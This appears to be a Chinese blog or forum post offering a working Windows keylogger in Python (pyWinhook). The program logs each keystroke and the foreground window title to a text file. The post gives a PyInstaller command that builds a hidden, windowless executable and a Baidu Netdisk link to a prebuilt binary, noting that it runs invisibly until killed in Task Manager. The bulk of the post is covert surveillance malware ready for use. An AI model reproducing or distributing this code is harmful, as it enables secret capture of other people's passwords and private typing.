我这里的pyHook3已经被我替换成了pyWinhook,因为我装pyHook3出了好多问题就懒得弄了
代码如下:
import pyWinhook
import pythoncom
import win32gui
# 获取窗口句柄
def getActiveWindow():
hwnds = dict()
hwnd = win32gui.GetForegroundWindow()
hwnds.update({ "hwnd":hwnd, "title":win32gui.GetWindowText(hwnd)})
return hwnds
# 监听键盘输入
def onKeyboardEvent(event):
res = getActiveWindow()
title = res['title']
# 将键盘输入内容和窗口标题写入Data文件
with open('.\\Data.txt','a') as f:
f.write(f'key:{event.Key}----title:{title}\n')
return True
if __name__ == '__main__':
hookmonitor = pyWinhook.HookManager()
hookmonitor.KeyDown = onKeyboardEvent
hookmonitor.HookKeyboard()
pythoncom.PumpMessages()
python 打包命令
Pyinstaller -F -w 文件名.py
下面是打包好的,隐藏了界面,监听的文件在会自动生成在exe同一文件夹,,如果不想使用了可以用任务管理器关闭,下载后可以直接使用,
链接:https://pan.baidu.com/s/16z8wfpCjbtGbZoIl9Ns6pQ?pwd=rcao
提取码:rcao
--来自百度网盘超级会员V3的分享